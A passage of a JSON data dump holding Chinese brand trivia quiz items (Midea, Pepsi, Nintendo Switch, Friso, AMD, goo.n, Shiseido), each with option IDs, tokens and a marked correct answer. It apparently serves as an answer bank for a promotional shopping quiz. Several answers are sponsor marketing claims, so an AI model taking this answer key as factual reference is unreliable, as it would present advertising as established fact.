04:50:15","status":"1"},{"questionId":"4901451533","questionIndex":"1","questionStem":"美的集团总部坐落于?","options":"[{\"optionId\":\"L80Sx0BWjju0b21qbq4y5rXSk4eR-wQwL2w\",\"optionDesc\":\"芜湖\"},{\"optionId\":\"L80Sx0BWjju0b21qbq4y5FNoeV3Jhmha0wI\",\"optionDesc\":\"顺德\"},{\"optionId\":\"L80Sx0BWjju0b21qbq4y56-dmJu8Za3-Pa8\",\"optionDesc\":\"广州\"}]","questionToken":"L80Sx0BWjju0b204feYpttaf_VkbOEpGWo9G3ZT7VTVKITA5x9f9PST03lCIc-kNQNRI8gsnSKA4-icQTQDjjYgtXcgfjw","correct":"{\"optionId\":\"L80Sx0BWjju0b21qbq4y5FNoeV3Jhmha0wI\",\"optionDesc\":\"顺德\"}","create_time":"27/1/2021 04:48:50","update_time":"27/1/2021 04:48:50","status":"1"},{"questionId":"4901451648","questionIndex":"5","questionStem":"以下哪个不是美的空调专利技术?","options":"[{\"optionId\":\"L80Sx0BWjjhu6ua0LjHQ57OnR_EaDddMMt4H\",\"optionDesc\":\"自清洁专利\"},{\"optionId\":\"L80Sx0BWjjhu6ua0LjHQ5DKHVqblOqy9h39W\",\"optionDesc\":\"高频速冷热专利\"},{\"optionId\":\"L80Sx0BWjjhu6ua0LjHQ5ed_Gzv_bzycUEmG\",\"optionDesc\":\"无风感专利\"}]","questionToken":"L80Sx0BWjjhu6ubiPXnLsusgoryn-NulOAHrKE3xDFnvwUU6h5mDiKN7n27JQ0FAd6D19jXyqrKjkXGLrwFJtXijmJ0ExA","correct":"{\"optionId\":\"L80Sx0BWjjhu6ua0LjHQ57OnR_EaDddMMt4H\",\"optionDesc\":\"自清洁专利\"}","create_time":"27/1/2021 04:49:04","update_time":"27/1/2021 04:49:04","status":"1"},{"questionId":"4901451662","questionIndex":"5","questionStem":"以下哪个品牌不属于美的集团?","options":"[{\"optionId\":\"L80Sx0BWjjhs4Oa0LjHQ5HtocuSLrQI_QP1gMw\",\"optionDesc\":\"小天鹅\"},{\"optionId\":\"L80Sx0BWjjhs4Oa0LjHQ5yQH9MJPTdcM-ZhQTQ\",\"optionDesc\":\"美菱\"},{\"optionId\":\"L80Sx0BWjjhs4Oa0LjHQ5UVeg26JrsW7Rvox7w\",\"optionDesc\":\"威灵控股\"}]","questionToken":"L80Sx0BWjjhs4ObiPXnLssSZJ0bmAuL-7PUpeYwAZRnTGXADIJIHgY3PPUOpHX6K3hFcBPpwOGtHXjoJJVRta4k9Fhc7nw","correct":"{\"optionId\":\"L80Sx0BWjjhs4Oa0LjHQ5yQH9MJPTdcM-ZhQTQ\",\"optionDesc\":\"美菱\"}","create_time":"27/1/2021 04:47:40","update_time":"27/1/2021 04:47:40","status":"1"},{"questionId":"4901451663","questionIndex":"2","questionStem":"百事可乐是诞生于哪个国家的品牌?","options":"[{\"optionId\":\"L80Sx0BWjjhs4ea0LjHQ53Elk1jwUv6yVEw\",\"optionDesc\":\"美国\"},{\"optionId\":\"L80Sx0BWjjhs4ea0LjHQ5HzPd5v7fc0mI5k\",\"optionDesc\":\"中国\"},{\"optionId\":\"L80Sx0BWjjhs4ea0LjHQ5TymxpWl6cIgSGE\",\"optionDesc\":\"英国\"}]","questionToken":"L80Sx0BWjjhs4eblPXnLtasfTvhE3qry3YLDjTWH07Q0ABEj20-5DXjaFH7OuArQXNh4xuqj6a5JsewvzK-5SsLjgMyYtQ","correct":"{\"optionId\":\"L80Sx0BWjjhs4ea0LjHQ53Elk1jwUv6yVEw\",\"optionDesc\":\"美国\"}","create_time":"27/1/2021 04:44:12","update_time":"27/1/2021 04:44:12","status":"1"},{"questionId":"4901451666","questionIndex":"2","questionStem":"以下哪个属于百事可乐旗下品牌?","options":"[{\"optionId\":\"L80Sx0BWjjhs5Oa0LjHQ5BKLuHHRXNxItNE\",\"optionDesc\":\"芬达\"},{\"optionId\":\"L80Sx0BWjjhs5Oa0LjHQ59Ita8_VtTBYt-s\",\"optionDesc\":\"美年达\"},{\"optionId\":\"L80Sx0BWjjhs5Oa0LjHQ5YTxcbVtXp5j1dM\",\"optionDesc\":\"雪碧\"}]","questionToken":"L80Sx0BWjjhs5OblPXnLsqq3oxbS2fnQ_nV1iAwkNkwA2bRVZIScCATVtNy707KE6WhUTTQOX7etT2yDkM7ObTEIFK0R2A","correct":"{\"optionId\":\"L80Sx0BWjjhs5Oa0LjHQ59Ita8_VtTBYt-s\",\"optionDesc\":\"美年达\"}","create_time":"27/1/2021 04:42:48","update_time":"27/1/2021 04:42:48","status":"1"},{"questionId":"4901451667","questionIndex":"4","questionStem":"百事可乐的品牌主色调是?","options":"[{\"optionId\":\"L80Sx0BWjjhs5ea0LjHQ5y4CEW_gE5bOq5bt\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"L80Sx0BWjjhs5ea0LjHQ5GBAKT_yMxFT5niP\",\"optionDesc\":\"红色\"},{\"optionId\":\"L80Sx0BWjjhs5ea0LjHQ5Yhce0FoVdNuNhiv\",\"optionDesc\":\"绿色\"}]","questionToken":"L80Sx0BWjjhs5ebjPXnLsoaty7jgy_YBU3V_YvpxyHR_1uzIsOtgoNPbIN6yqjWyTn3XV02BLe6F4nqvNvb_Ru5nLI6Etw","correct":"{\"optionId\":\"L80Sx0BWjjhs5ea0LjHQ5y4CEW_gE5bOq5bt\",\"optionDesc\":\"蓝色\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"4901451668","questionIndex":"4","questionStem":"下列哪个是百事可乐无糖独有的口味?","options":"[{\"optionId\":\"L80Sx0BWjjhs6ua0LjHQ57C6qd79vTjMqRbb\",\"optionDesc\":\"树莓味\"},{\"optionId\":\"L80Sx0BWjjhs6ua0LjHQ5IS9PT-1hh_wZZ2A\",\"optionDesc\":\"咖啡味\"},{\"optionId\":\"L80Sx0BWjjhs6ua0LjHQ5UpTcq23UmAwsFph\",\"optionDesc\":\"生姜味\"}]","questionToken":"L80Sx0BWjjhs6ubjPXnLtQy4Uc59ZISrbQL7LV6N7kxir6MLIz5TrdAmMYqR6ZH_fohm-kJo1JR4srzXbHocvFEs0g0qiw","correct":"{\"optionId\":\"L80Sx0BWjjhs6ua0LjHQ57C6qd79vTjMqRbb\",\"optionDesc\":\"树莓味\"}","create_time":"27/1/2021 04:37:24","update_time":"27/1/2021 04:37:24","status":"1"},{"questionId":"4901451684","questionIndex":"5","questionStem":"佳得乐是什么类型的饮料?","options":"[{\"optionId\":\"L80Sx0BWjjhi5ua0LjHQ5AKFTH5fa0TsWfHW\",\"optionDesc\":\"功能饮料\"},{\"optionId\":\"L80Sx0BWjjhi5ua0LjHQ5WYqrlojpCPKXdu2\",\"optionDesc\":\"果味饮料\"},{\"optionId\":\"L80Sx0BWjjhi5ua0LjHQ5-egN_MgN0Tap5dE\",\"optionDesc\":\"运动饮料\"}]","questionToken":"L80Sx0BWjjhi5ubiPXnLtVURI5rUBEm9QNkkvykD_gSfiXcqP6mTZQjriOOCBjCir0xCmUcD-ZPbiRWnUaT-NOkLniAaqw","correct":"{\"optionId\":\"L80Sx0BWjjhi5ua0LjHQ5-egN_MgN0Tap5dE\",\"optionDesc\":\"运动饮料\"}","create_time":"27/1/2021 04:36:08","update_time":"27/1/2021 04:36:08","status":"1"},{"questionId":"4901451705","questionIndex":"4","questionStem":"国行NS是哪一年正式登陆京东平台的?","options":"[{\"optionId\":\"L80Sx0BWjjlx3SnwQkmfcOVNJF7o-UgxgvA\",\"optionDesc\":\"2021年\"},{\"optionId\":\"L80Sx0BWjjlx3SnwQkmfce0Kr78wwN1AkHE\",\"optionDesc\":\"2020年\"},{\"optionId\":\"L80Sx0BWjjlx3SnwQkmfcjsnRCnJzkKrGKM\",\"optionDesc\":\"2019年\"}]","questionToken":"L80Sx0BWjjlx3SmnUQGEJxm-4XGguy0bhNhIPV58HeHeQxaDIlbz2xEGW_BPDEeqkqLlz7vDe5MHr2VfouY2HFYbmQhq7Q","correct":"{\"optionId\":\"L80Sx0BWjjlx3SnwQkmfcjsnRCnJzkKrGKM\",\"optionDesc\":\"2019年\"}","create_time":"27/1/2021 04:51:20","update_time":"27/1/2021 04:51:20","status":"1"},{"questionId":"4901451706","questionIndex":"4","questionStem":"以下哪个商品属于国行Nintendo Switch?","options":"[{\"optionId\":\"L80Sx0BWjjlx3inwQkmfcKxX2PuuZoQUvqTc9Q\",\"optionDesc\":\"PS4 Slim\"},{\"optionId\":\"L80Sx0BWjjlx3inwQkmfctpN39VUUcjkCeyiSA\",\"optionDesc\":\"Pro手柄\"},{\"optionId\":\"L80Sx0BWjjlx3inwQkmfccguuCs3m6T1ZJjZBQ\",\"optionDesc\":\"Xbox 天蝎座\"}]","questionToken":"L80Sx0BWjjlx3imnUQGEJ9eiadJRzUrNziwnu7FTkmpd6byCro5ZCWVzQ7VCEvWN_oOALGXVlD_F423fXWezJO_c7lQWlQ","correct":"{\"optionId\":\"L80Sx0BWjjlx3inwQkmfctpN39VUUcjkCeyiSA\",\"optionDesc\":\"Pro手柄\"}","create_time":"27/1/2021 04:44:40","update_time":"27/1/2021 04:44:40","status":"1"},{"questionId":"4901451736","questionIndex":"4","questionStem":"国行Nintendo Switch的主机标志配色为?","options":"[{\"optionId\":\"L80Sx0BWjjly3inwQkmfcCJAcSpqJYI9M-GsEw\",\"optionDesc\":\"蓝黄手柄+主机\"},{\"optionId\":\"L80Sx0BWjjly3inwQkmfcYODnEkn97beCoHksA\",\"optionDesc\":\"灰色手柄+主机\"},{\"optionId\":\"L80Sx0BWjjly3inwQkmfcnQSD0C8n3eWliwLWg\",\"optionDesc\":\"红蓝手柄+主机\"}]","questionToken":"L80Sx0BWjjly3imnUQGEIM4SMQQQeHcqQtGYfS1TBOxm3fy4bitYXTPzA_ONJuZstg8PsJayngNckWiAoXQzyazMQDqIRQ","correct":"{\"optionId\":\"L80Sx0BWjjly3inwQkmfcnQSD0C8n3eWliwLWg\",\"optionDesc\":\"红蓝手柄+主机\"}","create_time":"27/1/2021 04:34:26","update_time":"27/1/2021 04:34:26","status":"1"},{"questionId":"4901451737","questionIndex":"3","questionStem":"以下哪个不属于国行Nintendo Switch业务?","options":"[{\"optionId\":\"L80Sx0BWjjly3ynwQkmfcHOrk9-ZCQfZGVsb\",\"optionDesc\":\"游戏主机\"},{\"optionId\":\"L80Sx0BWjjly3ynwQkmfcj2ZGI8jdUZo-CAY\",\"optionDesc\":\"鼠标键盘\"},{\"optionId\":\"L80Sx0BWjjly3ynwQkmfcTMrp1aZpWMS7ElV\",\"optionDesc\":\"游戏周边\"}]","questionToken":"L80Sx0BWjjly3ymgUQGEJ5qe1RbHKIL6UPAMCwmeZLe0Ix4drhc-Z5F4jMlaMFxL4Hqm-fTZRWMI_Fv17YixpejofcZFoQ","correct":"{\"optionId\":\"L80Sx0BWjjly3ynwQkmfcj2ZGI8jdUZo-CAY\",\"optionDesc\":\"鼠标键盘\"}","create_time":"27/1/2021 04:48:29","update_time":"27/1/2021 04:48:29","status":"1"},{"questionId":"4901451738","questionIndex":"2","questionStem":"以下哪个国行Nintendo Switch配件最受欢迎","options":"[{\"optionId\":\"L80Sx0BWjjly0CnwQkmfcUPC803Cd1sKA10gEg\",\"optionDesc\":\"Joy-Con腕带\"},{\"optionId\":\"L80Sx0BWjjly0CnwQkmfciaOfORkcZrk51R61A\",\"optionDesc\":\"Pro手柄\"},{\"optionId\":\"L80Sx0BWjjly0CnwQkmfcJ53zjD84nPRHlIuOg\",\"optionDesc\":\"Joy-Con充电握把\"}]","questionToken":"L80Sx0BWjjly0CmhUQGEIHTY9PVIBGuSXUTz4l3z7UsZCHHAOCD0v2sYKJuxxvl2elA8b7ICoqIzOKaxQrmfBahdioRxgA","correct":"{\"optionId\":\"L80Sx0BWjjly0CnwQkmfciaOfORkcZrk51R61A\",\"optionDesc\":\"Pro手柄\"}","create_time":"27/1/2021 04:33:18","update_time":"27/1/2021 04:33:18","status":"1"},{"questionId":"4901451742","questionIndex":"2","questionStem":"美素佳儿奶源地是哪里?","options":"[{\"optionId\":\"L80Sx0BWjjl12inwQkmfcpZBuKK_Ma1ZLZB4\",\"optionDesc\":\"荷兰\"},{\"optionId\":\"L80Sx0BWjjl12inwQkmfcX03EHK17JNhNb8H\",\"optionDesc\":\"中国\"},{\"optionId\":\"L80Sx0BWjjl12inwQkmfcF9FLySJMyt_zPZd\",\"optionDesc\":\"美国\"}]","questionToken":"L80Sx0BWjjl12imhUQGEJ-tYbWGz9z2yWXw3jMxmnbpz4C3NaDqLSvE1ZZJqoPmrRO5oZg9OJqoReXOta3Igi0-FXuCQ3Q","correct":"{\"optionId\":\"L80Sx0BWjjl12inwQkmfcpZBuKK_Ma1ZLZB4\",\"optionDesc\":\"荷兰\"}","create_time":"27/1/2021 04:41:32","update_time":"27/1/2021 04:41:32","status":"1"},{"questionId":"4901451745","questionIndex":"3","questionStem":"皇家1-3段奶粉每100g含多少毫克的乳铁蛋白","options":"[{\"optionId\":\"L80Sx0BWjjl13SnwQkmfcW2iB_2mqwVF01qC\",\"optionDesc\":\"50\"},{\"optionId\":\"L80Sx0BWjjl13SnwQkmfcoQDIn-YEqgvDYMq\",\"optionDesc\":\"450\"},{\"optionId\":\"L80Sx0BWjjl13SnwQkmfcFqbv3QWXhkZsjK3\",\"optionDesc\":\"150\"}]","questionToken":"L80Sx0BWjjl13SmgUQGEJy8VbKl4Y8g2a-c1D2WcwlkqIF1SVjmj2OxOM4-cHVyIiXxt_ed3rlTNujVE4AVIgYEw1DeT4g","correct":"{\"optionId\":\"L80Sx0BWjjl13SnwQkmfcoQDIn-YEqgvDYMq\",\"optionDesc\":\"450\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"4901451746","questionIndex":"1","questionStem":"1-3岁的幼儿适合喝几段奶粉?","options":"[{\"optionId\":\"L80Sx0BWjjl13inwQkmfcG2HAhxLFU1WEA49\",\"optionDesc\":\"4段\"},{\"optionId\":\"L80Sx0BWjjl13inwQkmfcqVnuBCQ5lqeqUz8\",\"optionDesc\":\"3段\"},{\"optionId\":\"L80Sx0BWjjl13inwQkmfcbvFRUA5IUGYHuo2\",\"optionDesc\":\"2段\"}]","questionToken":"L80Sx0BWjjl13imiUQGEJyVnNYDNA0ifNAKj_VPwaEdCzuvxMxln3rKP_QAd3OSNaq3p2RQvefctez0WmfwqGtzLw92nmw","correct":"{\"optionId\":\"L80Sx0BWjjl13inwQkmfcqVnuBCQ5lqeqUz8\",\"optionDesc\":\"3段\"}","create_time":"27/1/2021 04:49:09","update_time":"27/1/2021 04:49:09","status":"1"},{"questionId":"4901451747","questionIndex":"1","questionStem":"皇家美素佳儿1-3段奶粉特点是?","options":"[{\"optionId\":\"L80Sx0BWjjl13ynwQkmfcUsKHMXPDJ2FZwI\",\"optionDesc\":\"20倍乳铁蛋白\"},{\"optionId\":\"L80Sx0BWjjl13ynwQkmfcrIpcSC1fLC1v-Y\",\"optionDesc\":\"30倍乳铁蛋白\"},{\"optionId\":\"L80Sx0BWjjl13ynwQkmfcOBd1Aj_GNBMuRk\",\"optionDesc\":\"50倍乳铁蛋白\"}]","questionToken":"L80Sx0BWjjl13ymiUQGEJ1hXmJdaXILgffhBqHcTTCj-RU14p8lHW-RaDKEyAUt9VzCuVdjy1-KBBYIh-YZ-LwdWNlOM8Q","correct":"{\"optionId\":\"L80Sx0BWjjl13ynwQkmfcrIpcSC1fLC1v-Y\",\"optionDesc\":\"30倍乳铁蛋白\"}","create_time":"27/1/2021 04:49:43","update_time":"27/1/2021 04:49:43","status":"1"},{"questionId":"4901451748","questionIndex":"1","questionStem":"美素佳儿一共有几款消消乐礼盒?","options":"[{\"optionId\":\"L80Sx0BWjjl10CnwQkmfcRAqCS0dGnRWkpPjlw\",\"optionDesc\":\"4款\"},{\"optionId\":\"L80Sx0BWjjl10CnwQkmfchxzMl2nxt4U4y71uQ\",\"optionDesc\":\"5款\"},{\"optionId\":\"L80Sx0BWjjl10CnwQkmfcPtuYgtf56pyuL_hjQ\",\"optionDesc\":\"6款\"}]","questionToken":"L80Sx0BWjjl10CmiUQGEJ0JlWAsS87OfZUhzz1-ZYOSVaramm93HAOXkCk8481xoKFty37PDDbSWba7rAJftWI4sbSMcyA","correct":"{\"optionId\":\"L80Sx0BWjjl10CnwQkmfchxzMl2nxt4U4y71uQ\",\"optionDesc\":\"5款\"}","create_time":"27/1/2021 04:37:46","update_time":"27/1/2021 04:37:46","status":"1"},{"questionId":"4901451749","questionIndex":"5","questionStem":"AMD是哪一年在硅谷创立的?","options":"[{\"optionId\":\"L80Sx0BWjjl10SnwQkmfcCP7cXHPiPAHvE0\",\"optionDesc\":\"1989\"},{\"optionId\":\"L80Sx0BWjjl10SnwQkmfcW8XqXkkwzT6OFA\",\"optionDesc\":\"1979\"},{\"optionId\":\"L80Sx0BWjjl10SnwQkmfcg0MzWe0Zz84-S4\",\"optionDesc\":\"1969\\t\\t\"}]","questionToken":"L80Sx0BWjjl10SmmUQGEJ3nrzlHi5nisx7QAYEm8qcd2FIxViIoXjGZpkRtOXBkK4gsataSbHmdmahEjZUO10_Kw7ZPHpg","correct":"{\"optionId\":\"L80Sx0BWjjl10SnwQkmfcg0MzWe0Zz84-S4\",\"optionDesc\":\"1969\\t\\t\"}","create_time":"27/1/2021 04:50:16","update_time":"27/1/2021 04:50:16","status":"1"},{"questionId":"4901451750","questionIndex":"5","questionStem":"AMD的总裁兼首席执行官是谁?","options":"[{\"optionId\":\"L80Sx0BWjjl02CnwQkmfcDhaK84MHMb3fP3a\",\"optionDesc\":\"岳琪\"},{\"optionId\":\"L80Sx0BWjjl02CnwQkmfcV2ECQkLVGGmhbVs\",\"optionDesc\":\"乔伯斯\"},{\"optionId\":\"L80Sx0BWjjl02CnwQkmfcqjBmAvXJAHQOwx9\",\"optionDesc\":\"苏姿丰\"}]","questionToken":"L80Sx0BWjjl02CmmUQGEJ_j1-nHo2kAPTIXcI95P7mCgy093es-6J-zJ2UIMdZ4BRdCZODfyEe6Cqv_RSYmlukK1vlqpHw","correct":"{\"optionId\":\"L80Sx0BWjjl02CnwQkmfcqjBmAvXJAHQOwx9\",\"optionDesc\":\"苏姿丰\"}","create_time":"27/1/2021 04:42:10","update_time":"27/1/2021 04:42:10","status":"1"},{"questionId":"4901451751","questionIndex":"4","questionStem":"AMD中国区总部在那个城市?","options":"[{\"optionId\":\"L80Sx0BWjjl02SnwQkmfcsbb0MFEFyeZFQQA\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjjl02SnwQkmfcdrYQiQEbdFZZcCM\",\"optionDesc\":\"成都\"},{\"optionId\":\"L80Sx0BWjjl02SnwQkmfcFV7KXumnFdgVGnh\",\"optionDesc\":\"深圳\"}]","questionToken":"L80Sx0BWjjl02SmnUQGEIEo58e-S3Yb2cxYQy6j76w6Qke2M0F1_wojRKgEJyXCN3D-CuGCSbj32UzduFoyXvCb-CmhbHQ","correct":"{\"optionId\":\"L80Sx0BWjjl02SnwQkmfcsbb0MFEFyeZFQQA\",\"optionDesc\":\"北京\"}","create_time":"27/1/2021 04:49:21","update_time":"27/1/2021 04:49:21","status":"1"},{"questionId":"4901451752","questionIndex":"3","questionStem":"AMD的中文名字是什么?","options":"[{\"optionId\":\"L80Sx0BWjjl02inwQkmfcjGB2Z06_DeHjlnN\",\"optionDesc\":\"超威\"},{\"optionId\":\"L80Sx0BWjjl02inwQkmfcIsO8byVvtUxM-_9\",\"optionDesc\":\"超越\"},{\"optionId\":\"L80Sx0BWjjl02inwQkmfce_g7tXOBVDjJRXA\",\"optionDesc\":\"超能\"}]","questionToken":"L80Sx0BWjjl02imgUQGEJ7hLiRc3TSKadVkbTtmgw2nCoiPdQkopGYpeYyYCf1LqQ6sb5QhEzPBrFcM6pc8jX4duCpcv7g","correct":"{\"optionId\":\"L80Sx0BWjjl02inwQkmfcjGB2Z06_DeHjlnN\",\"optionDesc\":\"超威\"}","create_time":"27/1/2021 04:48:57","update_time":"27/1/2021 04:48:57","status":"1"},{"questionId":"4901451753","questionIndex":"2","questionStem":"AMD最新锐龙处理器采用几纳米的制程工艺?","options":"[{\"optionId\":\"L80Sx0BWjjl02ynwQkmfcCQpFZh0q3jmBFhc\",\"optionDesc\":\"14nm\"},{\"optionId\":\"L80Sx0BWjjl02ynwQkmfcmHd4QGBoqD4jX7L\",\"optionDesc\":\"7nm\"},{\"optionId\":\"L80Sx0BWjjl02ynwQkmfcZQvMvMb1cyjAWTg\",\"optionDesc\":\"12nm\"}]","questionToken":"L80Sx0BWjjl02ymhUQGEIJiDiKktYjx4812ttKOVKvVnwbauz-TH_8TUcZJpTXy1Ao9hEEe-_zglafrn6b1ChYDb9B5YCw","correct":"{\"optionId\":\"L80Sx0BWjjl02ynwQkmfcmHd4QGBoqD4jX7L\",\"optionDesc\":\"7nm\"}","create_time":"27/1/2021 04:50:25","update_time":"27/1/2021 04:50:25","status":"1"},{"questionId":"4901451754","questionIndex":"5","questionStem":"大王goo.n纸尿裤是哪个国家的品牌?","options":"[{\"optionId\":\"L80Sx0BWjjl03CnwQkmfcTYAa3mUXE8rWga0\",\"optionDesc\":\"美国\"},{\"optionId\":\"L80Sx0BWjjl03CnwQkmfcFUYuJFYVvL48U_f\",\"optionDesc\":\"中国\"},{\"optionId\":\"L80Sx0BWjjl03CnwQkmfctR1xj3vPTrueIES\",\"optionDesc\":\"日本\\t\\t\"}]","questionToken":"L80Sx0BWjjl03CmmUQGEIDlhwblQQBFz7Q8w_UTLEkgbU1R3yBEO603tJWilSigj4usa6h7x10J5qyoE1GSyjIPC7jvWnw","correct":"{\"optionId\":\"L80Sx0BWjjl03CnwQkmfctR1xj3vPTrueIES\",\"optionDesc\":\"日本\\t\\t\"}","create_time":"27/1/2021 04:32:33","update_time":"27/1/2021 04:32:33","status":"1"},{"questionId":"4901451755","questionIndex":"5","questionStem":"大王goo.n的中国工厂位于哪里?","options":"[{\"optionId\":\"L80Sx0BWjjl03SnwQkmfcdWNpR4VSLbCP6dgkQ\",\"optionDesc\":\"上海\"},{\"optionId\":\"L80Sx0BWjjl03SnwQkmfcnhVBUljsw5o2PVw_w\",\"optionDesc\":\"南通\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl03SnwQkmfcPwN2GDnJaiso6HWPg\",\"optionDesc\":\"苏州\"}]","questionToken":"L80Sx0BWjjl03SmmUQGEIDGR-02ay37Zl0u67pdHLrpV_iBoyFsP_HA523IjbzuKYEieDsqOXDFeyoX0CtEz-cHlknK94g","correct":"{\"optionId\":\"L80Sx0BWjjl03SnwQkmfcnhVBUljsw5o2PVw_w\",\"optionDesc\":\"南通\\t\\t\"}","create_time":"27/1/2021 04:39:24","update_time":"27/1/2021 04:39:24","status":"1"},{"questionId":"4901451756","questionIndex":"2","questionStem":"以下哪个系列的产品不是大王的?","options":"[{\"optionId\":\"L80Sx0BWjjl03inwQkmfcv73SNY4J7AFPA\",\"optionDesc\":\"皇家系列\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl03inwQkmfcHkk11giQzVPlg\",\"optionDesc\":\"光羽系列\"},{\"optionId\":\"L80Sx0BWjjl03inwQkmfcSo1KMjVkccUIA\",\"optionDesc\":\"天使系列\"}]","questionToken":"L80Sx0BWjjl03imhUQGEIBi-Ivjn9M3vCd6V6qZfzSs8yxe695ePERQGQ5dNHOi7CR4rRGIdOfPSo46N31M2Xk20JVwbTQ","correct":"{\"optionId\":\"L80Sx0BWjjl03inwQkmfcv73SNY4J7AFPA\",\"optionDesc\":\"皇家系列\\t\\t\"}","create_time":"27/1/2021 04:49:03","update_time":"27/1/2021 04:49:03","status":"1"},{"questionId":"4901451757","questionIndex":"2","questionStem":"大王goo.n最高端的是哪个系列?","options":"[{\"optionId\":\"L80Sx0BWjjl03ynwQkmfcEt-e195tpp_Pg\",\"optionDesc\":\"花信风系列\"},{\"optionId\":\"L80Sx0BWjjl03ynwQkmfcqMuGOG05JHG7g\",\"optionDesc\":\"鎏金系列\"},{\"optionId\":\"L80Sx0BWjjl03ynwQkmfcf08MAjwHbHuDA\",\"optionDesc\":\"天使系列\"}]","questionToken":"L80Sx0BWjjl03ymhUQGEIJsSDc9MgFPF9kvhrSoCO8bm5u-tO6FtqlYBF1ohiu0mtVA11oNoKs2nCPtoWAIExqJXGodzjQ","correct":"{\"optionId\":\"L80Sx0BWjjl03ynwQkmfcqMuGOG05JHG7g\",\"optionDesc\":\"鎏金系列\"}","create_time":"27/1/2021 04:33:07","update_time":"27/1/2021 04:33:07","status":"1"},{"questionId":"4901451758","questionIndex":"5","questionStem":"以下哪个不属于大王goo.n业务的?","options":"[{\"optionId\":\"L80Sx0BWjjl00CnwQkmfcAHM6_smXNGLmvwX\",\"optionDesc\":\"婴儿纸尿裤\"},{\"optionId\":\"L80Sx0BWjjl00CnwQkmfcct6iSOcCYrQX-LN\",\"optionDesc\":\"清洁纸品\"},{\"optionId\":\"L80Sx0BWjjl00CnwQkmfcmaH1N3WEgkgXJQP\",\"optionDesc\":\"婴儿喂养\\t\\t\"}]","questionToken":"L80Sx0BWjjl00CmmUQGEJ2qHWr20_C6brAE2yIuELSRfQfXLxwUToYAMHCCk7wXtgdSqPIgNZBBhAPOwKhQ4j-q5FuoGjw","correct":"{\"optionId\":\"L80Sx0BWjjl00CnwQkmfcmaH1N3WEgkgXJQP\",\"optionDesc\":\"婴儿喂养\\t\\t\"}","create_time":"27/1/2021 04:49:00","update_time":"27/1/2021 04:49:00","status":"1"},{"questionId":"4901451759","questionIndex":"3","questionStem":"资生堂是哪个国家的品牌?","options":"[{\"optionId\":\"L80Sx0BWjjl00SnwQkmfcEIxomXGqOaFAbeVbA\",\"optionDesc\":\"中国\"},{\"optionId\":\"L80Sx0BWjjl00SnwQkmfceLC7Kdu5OAg1GIzhQ\",\"optionDesc\":\"美国\"},{\"optionId\":\"L80Sx0BWjjl00SnwQkmfcnNcILGtQZAB78CasA\",\"optionDesc\":\"日本\\t\\t\"}]","questionToken":"L80Sx0BWjjl00SmgUQGEJ1dhbww6WrJ0fAOpeBusaPOGmgEgyKx_p46v02j1VvCwd2LV-_BW3A3WFKa2N4IkjlaoolU9vA","correct":"{\"optionId\":\"L80Sx0BWjjl00SnwQkmfcnNcILGtQZAB78CasA\",\"optionDesc\":\"日本\\t\\t\"}","create_time":"27/1/2021 04:36:41","update_time":"27/1/2021 04:36:41","status":"1"},{"questionId":"4901451760","questionIndex":"4","questionStem":"哪个品牌不属于资生堂?","options":"[{\"optionId\":\"L80Sx0BWjjl32CnwQkmfcDTaVQ_Opl_zp5A\",\"optionDesc\":\"可悠然\"},{\"optionId\":\"L80Sx0BWjjl32CnwQkmfclQZF15x5HOfKYs\",\"optionDesc\":\"飘柔\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl32CnwQkmfcUKE89ZpNGAsosQ\",\"optionDesc\":\"惠润\"}]","questionToken":"L80Sx0BWjjl32CmnUQGEILuufUSOs4CY0CjomGWtrYBuDMYW5KeB3UqID9UYJ7KDxjfCn3GUsixP6XOhGHBk9fP8cP9Ggw","correct":"{\"optionId\":\"L80Sx0BWjjl32CnwQkmfclQZF15x5HOfKYs\",\"optionDesc\":\"飘柔\\t\\t\"}","create_time":"27/1/2021 04:48:15","update_time":"27/1/2021 04:48:15","status":"1"},{"questionId":"4901451761","questionIndex":"4","questionStem":"以下哪个不属于资生堂业务的?","options":"[{\"optionId\":\"L80Sx0BWjjl32SnwQkmfcKtqe7sVnQX7yjA\",\"optionDesc\":\"身体护理\"},{\"optionId\":\"L80Sx0BWjjl32SnwQkmfcbkizKoYOyUwwIs\",\"optionDesc\":\"洗发护发\"},{\"optionId\":\"L80Sx0BWjjl32SnwQkmfcst6wC4ibdZ62uI\",\"optionDesc\":\"营养健康\\t\\t\"}]","questionToken":"L80Sx0BWjjl32SmnUQGEJ1A9L4S2jg4MMy3JTQt7pwytxcVzQZHoXe08Qhywv2SSv9PeCxSDDRh2y_PMEVvZbNta2q95IA","correct":"{\"optionId\":\"L80Sx0BWjjl32SnwQkmfcst6wC4ibdZ62uI\",\"optionDesc\":\"营养健康\\t\\t\"}","create_time":"27/1/2021 04:40:41","update_time":"27/1/2021 04:40:41","status":"1"},{"questionId":"4901451762","questionIndex":"3","questionStem":"资生堂最畅销的品牌是哪个?","options":"[{\"optionId\":\"L80Sx0BWjjl32inwQkmfcuvqHB5fD7TAta-_mA\",\"optionDesc\":\"惠润\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl32inwQkmfcbEDDI-AI2DKw45Amw\",\"optionDesc\":\"珊珂\"},{\"optionId\":\"L80Sx0BWjjl32inwQkmfcJYOxxsdJ5_tpBJb5g\",\"optionDesc\":\"丝蓓绮\"}]","questionToken":"L80Sx0BWjjl32imgUQGEJ3gidoDlRVOq_lG-_BXfE-pKPoAl-u035YUBxW2Re9nXYKk_Oo7IeuDUtkidC4b481pnopMlRA","correct":"{\"optionId\":\"L80Sx0BWjjl32inwQkmfcuvqHB5fD7TAta-_mA\",\"optionDesc\":\"惠润\\t\\t\"}","create_time":"27/1/2021 04:49:18","update_time":"27/1/2021 